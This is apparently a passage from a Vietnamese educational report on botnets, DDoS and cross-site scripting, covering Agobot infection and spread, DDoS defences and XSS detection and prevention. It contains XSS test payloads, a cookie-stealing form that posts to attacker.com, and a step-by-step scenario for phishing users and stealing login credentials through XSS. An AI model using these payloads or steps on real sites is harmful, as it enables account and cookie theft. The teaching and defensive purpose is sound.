Spamming: Mở một SOCKS v4/v5 proxy server cho việc Spamming

Sniffing traffic: Bot cũng có thể sử dụng các gói tin nó sniffer (tóm được các giaotiếp trên mạng) sau khi tóm được các gói tin nó cố gắng giải mã gói tin để lấy đượccác nội dung có ý nghĩa như tài khoản ngân hàng và nhiều thông tin có giá trị kháccủa người sử dụng

Keylogging: Với sự trợ giúp của Keylogger rất nhiều thông tin nhạy cảm củangười dùng có thể sẽ bị kẻ tấn công khai thác như tài khoản trên e-banking, cũng nhưnhiều tài khoản khác

Cài đặt và lây nhiễm chương trình độc hại, botnet có thể sử dụng để tạo ra mạngnhững mạng BOT mới

Cài đặt những quảng cáo Popup, tự động bật ra những quảng cáo không mongmuốn với người sử dụng

Google Adsense abuse: Tự động thay đổi các kết quả tìm kiếm hiển thị mỗi khingười dùng sử dụng dịch vụ tìm kiểm của Google, khi thay đổi kết quả nó sẽ lừangười dùng kích vào những trang web nguy hiểm

Tấn công vào IRC Chat Networks, nó được gọi là clone attack

Phishing: Mạng botnet còn được sử dụng để phishing mail nhằm lấy các thông tinnhạy cảm của người dùng

I.4.5 Các dạng của mạng BOT

1 Agobot/Phatbot/Forbot/XtremBot

Đây là những bot được viết bằng C++ trên nền tảng Cross-platform và mã nguồnđược tìm trên GPL Agobot được viết bởi Ago nick name được người ta biết đến làWonk, một thanh niên trẻ người Đức – đã bị bắt hồi tháng 5 năm 2004 với tội danh vềtội phạm máy tính

Agobot có khả năng sử dụng NTFS Alternate Data Stream (ADS) và như một loạiRootkit nhằm ẩn các tiến trình đang chạy trên hệ thống

2 SDBot/Rbot/UrBot/UrXbot

SDBot được viết bằng ngồn ngữ C và cũng được public bởi GPL Nó đươc coi như

là tiền thân của Rbot, RxBot, UrBot, UrXBot, JrBot

Trang 25

GT được viết tắt từ hai từ Global Threat và tên thường được sử dụng cho tất cả cácmIRC-scripted bots Nó có khả năng sử dụng phần mềm IM là mIRC để thiết lập một

số script và một số đoạn mã khác

I.4.6 Các bước xây dựng mạng BotNet

Để hiểu hơn về xây dựng hệ thống mạng BotNet chúng ta nghiên cứu từ cách lâynhiễm vào một máy tính, cách tạo ra một mạng Bot và dùng mạng Bot này tấn côngvào một đích nào đó của mạng Botnet được tạo ra từ Agobot’s

1 Bước 1: Cách lây nhiễm vào máy tính

Đầu tiên kẻ tấn công lừa cho người dùng chạy file "chess.exe", một Agobotthường copy chúng vào hệ thống và sẽ thêm các thông số trong Registry để đảm bảo

sẽ chạy cùng với hệ thống khi khởi động Trong Registry có các vị trí cho các ứngdụng chạy lúc khởi động tại

HKLM\Software\Microsoft\Windows\CurrentVersion\Run

HKLM\Software\Microsoft\Windows\CurrentVersion\Run Services

2 Bước 2: Cách lây lan và xây dựng tạo mạng BOTNET

Sau khi trong hệ thống mạng có một máy tính bị nhiễm Agobot, nó sẽ tự động tìmkiếm các máy tính khác trong hệ thống và lây nhiễm sử dụng các lỗ hổng trong tàinguyên được chia sẻ trong hệ thống mạng

Chúng thường cố gắng kết nối tới các dữ liệu share mặc định dành cho các ứngdụng quản trị (administrator or administrative) ví dụ như: C$, D$, E$ và print$ bằngcách đoán usernames và password để có thể truy cập được vào một hệ thống khác vàlây nhiễm

Agobot có thể lây lan rất nhanh bởi chúng có khả năng tận dụng các điểm yếutrong hệ điều hành Windows, hay các ứng dụng, các dịch vụ chạy trên hệ thống

3 Bước 3: Kết nối vào IRC

Bước tiếp theo của Agobot sẽ tạo ra một IRC-Controlled Backdoor để mở các yếu

tố cần thiết, và kết nối tới mạng Botnet thông qua IRC-Controll, sau khi kết nối nó sẽ

mở những dịch vụ cần thiết để khi có yêu cầu chúng sẽ được điều khiển bởi kẻ tấncông thông qua kênh giao tiếp IRC

4 Bước 4: Điều khiển tấn công từ mạng BotNet

Kẻ tấn công điều khiển các máy trong mạng Agobot download những file exe vềchạy trên máy

Lấy toàn bộ thông tin liên quan và cần thiết trên hệ thống mà kẻ tấn công muốn.Chạy những file khác trên hệ thống đáp ứng yêu cầu của kẻ tấn công

Trang 26

Hình 4: Sơ đồ cách hệ thống bị lây nhiễm và sử dụng Agobot.

Hình 5: Tấn công DDoS

Trên Internet tấn công Distributed Denial of Service là một dạng tấn công từ nhiềumáy tính tới một đích, nó gây ra từ chối các yêu cầu hợp lệ của các user bình thường

Trang 27

Bằng cách tạo ra những gói tin cực nhiều đến một đích cụ thể, nó có thể gây tình trạngtương tự như hệ thống bị shutdown.

I.5.1 Các đặc tính của tấn công DDoS

Nó được tấn công từ một hệ thống các máy tính cực lớn trên Internet, và thườngdựa vào các dịch vụ có sẵn trên các máy tính trong mạng botnet Các dịch vụ tấn côngđược điều khiển từ những "primary victim" trong khi các máy tính bị chiếm quyền sửdụng trong mạng Bot được sử dụng để tấn công thường được gọi là "secondaryvictims"

Là dạng tấn công rất khó có thể phát hiện bởi tấn công này được sinh ra từ nhiềuđịa chỉ IP trên Internet Nếu một địa chỉ IP tấn công một công ty, nó có thể được chặnbởi Firewall Nếu nó từ 30.000 địa chỉ IP khác, thì điều này là vô cùng khó khăn.Thủ phạm có thể gây nhiều ảnh hưởng bởi tấn công từ chối dịch vụ DoS, và điềunày càng nguy hiểm hơn khi chúng sử dụng một hệ thống mạng Bot trên internet thựchiện tấn công DoS và đó được gọi là tấn công DDoS

I.5.2 Tấn công DDoS không thể ngăn chặn hoàn toàn

Các dạng tấn công DDoS thực hiện tìm kiếm các lỗ hổng bảo mật trên các máytính kết nối tới Internet và khai thác các lỗ hổng bảo mật để xây dựng mạng Botnetgồm nhiều máy tính kết nối tới Internet

Một tấn công DDoS được thực hiện sẽ rất khó để ngăn chặn hoàn toàn Những góitin đến Firewall có thể chặn lại, nhưng hầu hết chúng đều đến từ những địa chỉ IPchưa có trong các Access Rule của Firewall và là những gói tin hoàn toàn hợp lệ Nếu địa chỉ nguồn của gói tin có thể bị giả mạo, sau khi bạn không nhận được sựphản hồi từ những địa chỉ nguồn thật thì bạn cần phải thực hiện cấm giao tiếp với địachỉ nguồn đó Tuy nhiên một mạng Botnet bao gồm từ hàng nghìn tới vài trăm nghìnđịa chỉ IP trên Internet và điều đó là vô cùng khó khăn để ngăn chặn tấn công

I.5.3 Kẻ tấn công khôn ngoan

Giờ đây không một kẻ tấn công nào sử dụng luôn địa chỉ IP để điều khiển mạngBotnet tấn công tới đích, mà chúng thường sử dụng một đối tượng trung gian dưới đây

là những mô hình tấn công DDoS

1 Agent Handler Model

Kẻ tấn công sử dụng các handler để điều khiển tấn công

Trang 28

Hình 6: Agent Handler Model

2 Tấn công DDoS dựa trên nền tảng IRC

Kẻ tấn công sử dụng các mạng IRC để điều khiển, khuyếch đại và quản lý kết nốivới các máy tính trong mạng Botnet

Hình 7: Tấn công DDoS dựa trên nền tảng IRC

Tấn công gây hết băng thông truy cập tới máy chủ

 Flood attack

Trang 29

Tấn công khuếch đại các giao tiếp

 Smurf and Fraggle attack

Các vấn đề liên quan tới tấn công Reflective DNS

Một Hacker có thể sử dụng mạng botnet để gửi rất nhiều yêu cầu tới máy chủDNS Những yêu cầu sẽ làm tràn băng thông mạng của các máy chủ DNS

Việc phòng chống dạng tấn công này có thể dùng Firewall ngăn cấm những giaotiếp từ các máy tính được phát hiện ra Nhưng việc cấm các giao tiếp từ DNS Server

sẽ có nhiều vấn đề lớn Một DNS Server có nhiệm vụ rất quan trọng trên Internet.Việc cấm các giao tiếp DNS đồng nghĩa với việc cấm người dùng bình thường gửimail và truy cập website

Một yêu cầu về DNS thường chiếm bằng 1/73 thời gian của gói tin trả lời trên máychủ Dựa vào yếu tố này nếu dùng một công cụ chuyên nghiệp để làm tăng các yêucầu tới máy chủ DNS sẽ khiến máy chủ DNS bị quá tải và không thể đáp ứng cho cácngười dùng bình thường được nữa

Hình 8: Tấn công kiểu DRDoS

Trang 30

Bằng cách giả địa chỉ IP của máy đích, hacker sẽ cùng lúc gửi nhiều gói tin đếncác hệ thống máy mạnh trên mạng, các hệ thống này khi nhận gói tin SYN giả này,chấp nhận kết nối và gửi trả một gói tin SYN/ACK để thông báo Vì địa chỉ IP của góitin SYN bị hacker sửa đổi thành địa chỉ IP máy đích nên những gói tin SYN/ACK sẽđược gửi về cho máy đích Cùng một lúc nhận được nhiều gói tin, đường truyền củamáy đích không đủ khả năng đáp ứng, hệ thống máy đích từ chối nhận bất kì gói tinnào và lúc này hệ thống máy đích đã bị sụp đổ.

Kiểu tấn công từ chối dịch vụ là kiểu tấn công gây nhiều khó khăn trong vấn đềbảo vệ cũng như điều tra tìm ra thủ phạm nhất, bởi vì hầu hết hacker đã thay đổi địachỉ IP của máy mình nên rất khó xác định ai là thủ phạm

Hiện nay, nhiều chủ website còn chưa đầu tư, quan tâm đúng mức đến website củamình, nên khả năng bị tấn công là rất cao Để phòng chống khả năng khuyếch đạiđường truyền, tôi đề xuất:

Việc xây dựng một hệ thống tốt để phòng chống các cuộc tấn công tốn nhiều chiphí, sức lực, nhân công Nhưng để tránh bị tấn công, chúng ta cần đầu tư nâng cấp hệthống firewall, router, đào tạo nhân lực quản trị, thường xuyên cập nhật các phầnmềm, firmware mới nhất

Huỷ khả năng broadcast tại router biên

Tăng kích thước hàng đợi kết nối để có thể phòng tránh khả năng tràn hàng đợiqua nhiều kết nối, nhưng cách này có khuyết điểm là sử dụng nhiều tài nguyên

Giảm thời gian thiết lập kết nối

Dùng những phần mềm phát hiện và phá hủy kiểu tấn công DoS

Cấu hình iptables để giới hạn số kết nối, nhược điểm cách này là nếu có nhiềungười truy cập vượt quá giới hạn thì họ sẽ không được đáp ứng từ trang website.Thiết lập firewall trước mỗi server để hạn chế các đợt tấn công

Đối với kiểu tấn công ánh xạ DNS thì ta có thể dùng Firewall ngăn cấm nhữnggiao tiếp từ các máy tính được phát hiện ra Nhưng việc cấm các giao tiếp từ DNSServer sẽ có nhiều vấn đề lớn Một DNS Server có nhiệm vụ rất quan trọng trênInternet Việc cấm các giao tiếp DNS đồng nghĩa với việc cấm người dùng bìnhthường gửi mail và truy cập website

Người dùng mạng cần thường xuyên quét virus máy tính, tránh truy cập vào nhữngtrang web độc hại… để tránh trở thành zombie cho mạng botnet

Hầu hết những hệ điều hành hiện nay đều hỗ trợ khả năng phát hiện và phòngchống kiểu tấn công lụt SYN

Trang 31

Tuy nhiên cũng đã có những phần mềm được có khả năng tránh kiểu tấn công này.

Ví dụ như với Linux kernels 2.0.30 và về sau cài đặt một tùy chọn gọi là SYNCookie, kernel có nhiệm vụ truy tìm và lưu vết những khả năng có thể xảy ra kĩ thuậtSYN Sau đó, kernel sẽ sử dụng một giao thức mã hoá như SYN cookie cho phépngười dùng hợp lệ của hệ thống tiếp tục kết nối đến hệ thống

Với WindowNT 4.0 trở về sau, sử dụng kĩ thuật backlog, mỗi khi hàng đợi kết nốikhông đủ đáp ứng, hệ thống tự động cung cấp tài nguyên cho hàng đợi, vì thế hàngđợi sẽ không bị phá vỡ

Ứng dụng chỉ cho phép mỗi một máy con chỉ được thiết lập số kết nối tối đa theoqui định tránh trường hợp hacker gửi cùng lúc nhiều yêu cầu gây tắc nghẽn

Kiểu tấn công từ chối dịch vụ tuy chỉ khiến cho hệ thống bị phá vỡ trong vài phútnhưng hậu quả thì khá to lớn (ảnh hưởng trên phạm vi tiền và uy tín) Đây là kĩ thuậtthường được hacker sử dụng trong trường hợp không thể chiếm quyền quản trị trên hệthống hoặc thông tin, hoặc muốn phá hủy uy tín của cơ quan đó Thêm vào đó việcgiả mạo địa chỉ khiến cho hacker càng dễ dàng thực hiện việc tấn công mà không sợ

bị phát hiện Thông thường kĩ thuật này được thực hiện kèm theo sự hỗ trợ của vàicông cụ như ping of death, teardrop…

II Cross-Site Scripting

Cross-Site Scripting(XSS) là một trong những kĩ thuật tấn công phổ biến nhất hiệnnay, đồng thời nó cũng là một trong những vấn đề bảo mật quan trọng đối với các nhàphát triển web và cả những người sử dụng web Bất kì một website nào cho phépngười sử dụng đăng thông tin mà không có sự kiểm tra chặt chẽ các đoạn mã nguyhiểm thì đều có thể tiềm ẩn các lỗi XSS

II.1 Khái niệm XSS

Cross-Site Scripting hay còn được gọi tắt là XSS(thay vì gọi tắt là CSS để tránhnhầm lẫn với CSS-Cascading Style Sheet của HTML) là một kỹ thuật tấn công bằngcách chèn vào các website động(ASP, PHP, CGI, JSP ) những thẻ HTML hay nhữngđoạn mã script nguy hiểm có thể gây nguy hại cho những người sử dụng khác Trong

đó, những đoạn mã nguy hiểm đựơc chèn vào hầu hết được viết bằng các Client-SiteScript như JavaScript, JScript, DHTML và cũng có thể là cả các thẻ HTML

Kĩ thuật tấn công XSS đã nhanh chóng trở thành một trong những lỗi phổ biếnnhất của Web Applications và mối đe doạ của chúng đối với người sử dụng ngày cànglớn

II.2 Hoạt động

Về cơ bản XSS cũng như SQL Injection hay Source Injection, nó cũng là các yêu

Trang 32

vượt quá tầm kiểm soát của server Nó có thể là một request được gửi từ các form dữliệu hoặc cũng có thể đó chỉ là các URL như là:

http://www.example.com/search.cgi?query=<script>alert('XSS was found

!');</script>

Và rất có thể trình duyệt của bạn sẽ hiện lên một thông báo "XSS was found!" Các đoạn mã trong thẻ <script> không hề bị giới hạn bởi chúng hoàn toàn có thể

thay thế bằng một file nguồn trên một server khác thông qua thuộc tính src của thẻ

<script> Cũng chính vì lẽ đó mà chúng ta chưa thể lường hết được độ nguy hiểm củacác lỗi XSS

Nhưng nếu như các kĩ thuật tấn công khác có thể làm thay đổi được dữ liệu nguồncủa web server (mã nguồn, cấu trúc, cơ sở dữ liệu) thì XSS chỉ gây tổn hại đối vớiwebsite ở phía client mà nạn nhân trực tiếp là những người khách duyệt site đó Tấtnhiên, đôi khi các hacker cũng sử dụng kĩ thuật này để deface các website nhưng đóvẫn chỉ tấn công vào bề mặt của website Thật vậy, XSS là những Client-Side Script,những đoạn mã này sẽ chỉ chạy bởi trình duyệt phía client do đó XSS không làm ảnhhưởng đến hệ thống website nằm trên server

Mục tiêu tấn công của XSS không ai khác chính là những người sử dụng khác củawebsite, khi họ vô tình vào các trang có chứa các đoạn mã nguy hiểm do các hacker

để lại họ có thể bị chuyển tới các website khác, đặt lại homepage, hay nặng hơn là mấtmật khẩu, mất cookie thậm chí máy tính bạn có thể sẽ bị cài các loại virus, backdoor,worm…

II.3 Cảnh giác với XSS

Có lẽ không cần liệt kê những nguy hiểm của XSS, nhưng trên thực tế nếu bạn cómột chút hiểu biết về XSS bạn sẽ không còn phải sợ chúng nữa Thật vậy bạn hoàntoàn có thể tránh khỏi việc bị tấn công bởi những lỗi XSS nếu hiểu kĩ về nó

Các thẻ HTML đều có thể là công cụ cho các cuộc tấn công bởi kĩ thuật XSS,trong đó 2 thẻ IMG và IFRAME có thể cho phép trình duyệt của bạn load thêm cácwebsite khác khi các lệnh HTML được hiển thị Ví dụ như BadTrans Worm một loạiworm sử dụng thẻ IFRAME để lây lan trong các hệ thống có sử dụng Outlook hayOutlook Express:

Trang 33

Đôi khi đang đọc thư bạn bị chuyển sang một website khác, bạn có nghĩ rằng bạn

có thể mất mật khẩu Trước đây, hàng loạt các hộp thư của Yahoo bị mất mật khẩuhay bị đọc trộm thư mà không rõ nguyên nhân Có lẽ khi đó các bạn mở các bức thư

mà không hề cảnh giác với XSS, đâu phải chỉ các file đính kèm mới có thể gây nguyhiểm cho bạn Chỉ cần với một đoạn mã HTML gửi trong thư bạn đã hoàn toàn bị mấtcookie của mình:

<form action="http://attacker.com/save.asp" method="post" name="XSS">

<input type="hidden" name="cookie">

Nếu gặp một liên kết có dạng:

http://example.com/search.cgi?query=<script>alert(document.cookie)</script>

Chắc chắn bạn sẽ phải xem xét kĩ trước khi click vào Có thể là sẽ tắt JavaScriptcho trình duyệt của bạn trước khi click vào hay ít nhất cũng có một chút cảnh giác.Nhưng nếu bạn gặp một liên kết như thế này thì sao:

http://example.com/search.cgi?%71%75%65%61%72%79%3D%3C

%73%63%72%69%70%74%3E%61%6C%65%61%72%74%28%64%63%75%6D

Trang 34

%73%63%72%69%70%74%3E

Đó thực chất chính là liên kết ban đầu nhưng chỉ khác nó đã được mã hoá Mộtphần kí tự của liên kết đã được thay thế bởi mã HEX của nó, tất nhiên trình duyệt vẫnhiểu địa chỉ đó thực sự là gì Bởi vậy người dùng có thể sẽ gặp phải các đoạn mã nguyhiểm nếu như họ mất cảnh giác với XSS

II.4 Cách phát hiện XSS

Nếu như các người quản lý site sử dụng các mã nguồn của các chương trình có sẵnthì có thể tham khảo danh sách các lỗ hổng của chương trình bạn trên các trang webchứa các thông tin về bảo mật như securityfocus.com, securiteam.com, Tuy nhiênnếu các website được tự viết mã nguồn thì không thể áp dụng phương pháp trên.Trong trường hợp này họ cần đến các chương trình scanner tự động Nếu như sử dụngtrong môi trường Windows công cụ có thể dùng N-Stealth hay AppScan, đó là nhữngchương trình scan khá tuyệt, không chỉ kiểm tra được các lỗi XSS mà nó còn chophép bạn kiểm tra các lỗi khác trong Website đó, Server đó

Tất nhiên đâu phải lúc nào cũng cần kiểm tra tất cả, nếu như bạn chỉ muốn kiểmtra các lỗi XSS có trong website, bạn chỉ cần sử dụng screamingCSS Đó là một PerlScript sẽ mở các kết nối tới website(sử dụng Perl's socket) để kiểm tra các lỗi XSS.Hơn nữa bạn có thể sử dụng nó trong cả môi trường Unix lẫn Windows

Đối với hacker, việc tìm lỗi XSS trải qua các bước cơ bản:

Cách 1: Sử dụng nhiều chương trình dò quét lỗi của ứng dụng web, ví dụ nhưchương trình Web Vulnerability Scanner để dò quét lỗi XSS

Cách 2: Thực hiện 5 bước:

 Bước 1: Mở website cần kiểm tra

 Bước 2: Xác định các chỗ (phần) cần kiểm tra XSS Một site bất kỳ bao giờcũng có các phần:

Search, error message, web form Chủ yếu lỗi XSS nằm ở phần này, nói chungXSS có thể xảy ra ở chỗ nào mà người dùng có thể nhập dữ liệu vào và sau đónhận được một cái gì đó Ví dụ chúng ta nhập vào chuỗi ‘XSS’

 Bước 3: Xác minh khả năng site có bị lỗi XSS hay không bằng cách xem cácthông tin trả về Ví dụ chúng ta thấy thế này: ‘Không tìm thấy XSS…’ , hay là

‘Tài khoản XSS không chính xác’, ‘Đăng nhập với XSS không thành công’…thì khi đó khả năng chỗ đó bị dính XSS là rất cao

 Bước 4: Khi đã xác định chỗ có khả năng bị dính lỗi XSS thì chúng ta sẽ chènnhững đoạn code của chúng ta vào để thử tiếp, ví dụ như sau:

Trang 35

Chèn đoạn code này: < script>alert('XSS')< /script> vào ô bị lỗi và nhấn nút

Login, nếu chúng ta nhận được một popup có chữ ‘XSS’ thì 100% bị dính XSS.Nhưng xin chú ý , thỉnh thoảng vẫn có trường hợp website đó bị dính XSS nhưngvẫn không xuất hiện cái popup thì buộc lòng bạn phải mở “page source” ra để

xem Khi xem “page source”, tìm dòng < script>alert('XSS)< /script> , nếu có thì

hết chạy, XSS đây rồi

Gọi http://websitebiloi.com/ là site bị dính lỗi XSS và ta tìm được nơi bị lỗi

như thế này: http://websitebiloi.com/index.php?page=<script </ script> , nghĩa

là ta có thể chèn code ngay trên thanh ADDRESS

 Bước 5: Lên kế hoạch kịch bản tấn công

II.5 Tấn công

Thật ra thì có rất nhiều kỹ thuật tấn công dựa trên lỗi XSS này, chủ yếu là sau khi

đã biết cách tìm lỗ hổng thì mỗi người sẽ có một mưu mô cho cách tấn công củamình Nhưng đa phần hoạt động tấn công của hacker sẽ thực hiện như sau đây Ví dụkhai thác XSS để đánh cắp thông tin mật khẩu

Sau khi đã xác minh một điều chắc chắn rằng trang moodle bị lỗi XSS ở chỗ đăngnhập Hacker lập tức viết ngay một ứng dụng nhỏ rồi up lên một cái host free, ứngdụng này sẽ có nhiệm vụ nhận thông tin về tên và password gửi về và ghi xuống filetxt Sau đó:

Bước 1: Hacker dụ dỗ người dùng, ví dụ tạo một mail giả dạng nói là: Diễn đàntuyển dụng của Intel, mời các bạn nào quan tâm thì tham gia Rồi tạo ra một cáiđường link giả

Nhưng hacker hướng liên kết đó tới một cái trang có mã độc Trong tích tắc trangnày sẽ gắn một cái đoạn script độc có nhiệm vụ lấy về username và password sau khiđăng nhập và gắn vào cái trang thật(Vì trang thật bị lỗi XSS nên cho phép chúng tagắn mã độc lên, gắn ở đây có nghĩa là khi chúng ta view source code của trang lên,chúng ta sẽ thấy có một đoạn script của chúng ta nằm ở đâu đó), rồi sau đó chuyểnhướng sang trang thật ngay lập tức để khỏi bị nghi ngờ

Bước 2: Người dùng vào mail, tưởng thật, click vào link và thấy chạy đúng trangmoodle(Họ đâu ngờ rằng, trang thật đã bị gắn mã độc lên, trong thời gian quá nhanhnên họ không nghi ngờ gì cả, nhưng nếu ai để ý sẽ thấy link không đúng)

Bước 3: Họ đăng nhập, khi đó ứng dụng sẽ chạy biên dịch từ trên xuống, và tấtnhiên sẽ chạy luôn cả script mà chúng ta đã cài, khi đó username và password sẽ đượclấy về để gửi cho một cái trang trên server mà chúng ta đã dựng ra

Bước 4: Ứng dụng server của ta nhận được username và password, ghi ra file txt Bước 5: Kết thúc quá trình tấn công, chúng ta có một danh sách các tài khoản

Trang 36

II.6 Tấn công XSS bằng flash

Ngoài những cách đưa một đoạn mã nguy hiểm thì hacker còn có thể lợi dụngnhững tập tin flash để đánh cắp thông tin

Macromedia Flash cho phép lập trình bằng một ngôn ngữ kịch bản đã được xâydụng sẵn trong Flash là ActionScript ActionScript có cú pháp đơn giản và tương tựnhư JavaScript, C hay PERL Ví dụ hàm getURL() dùng để gọi một trang web khác,

tham số thường là một URL chẳng hạn như “http://www.yahoo.com”.

Đây là đoạn lệnh trong tập tin flash và sẽ được thi hành khi tập tin flash được đọc:

II.7 Cách phòng chống XSS

Người ta không lường hết được mức độ nguy hiểm của XSS nhưng cũng khôngquá khó khăn để ngăn ngừa XSS Có rất nhiều cách để có thể giải quyết vấn đề này.OWASP(The Open Web Application Standard Project) nói rằng để có thể xâydựng các website bảo mật cao, đối với các dữ liệu của người sử dụng nên:

 Chỉ chấp nhận những dữ liệu hợp lệ

 Từ chối nhận các dữ liệu hỏng

 Liên tục kiểm tra và thanh lọc sữ liệu

 Lọc dấu nháy đơn, nháy kép, và kí tự NULL(vì khả năng thêm một đoạn mãbất kì sau kí tự Null khiến cho ứng dụng dù đã lọc bỏ thẻ <script> vẫn khôngnhận ra do ứng dụng nghĩ rằng chuỗi đã kết thúc từ kí tự Null này)

 Tạo những thẻ được phép sử dụng

Ngày đăng: 02/09/2018, 21:38

TỪ KHÓA LIÊN QUAN

TÀI LIỆU CÙNG NGƯỜI DÙNG

TÀI LIỆU LIÊN QUAN

🧩 Sản phẩm bạn có thể quan tâm

w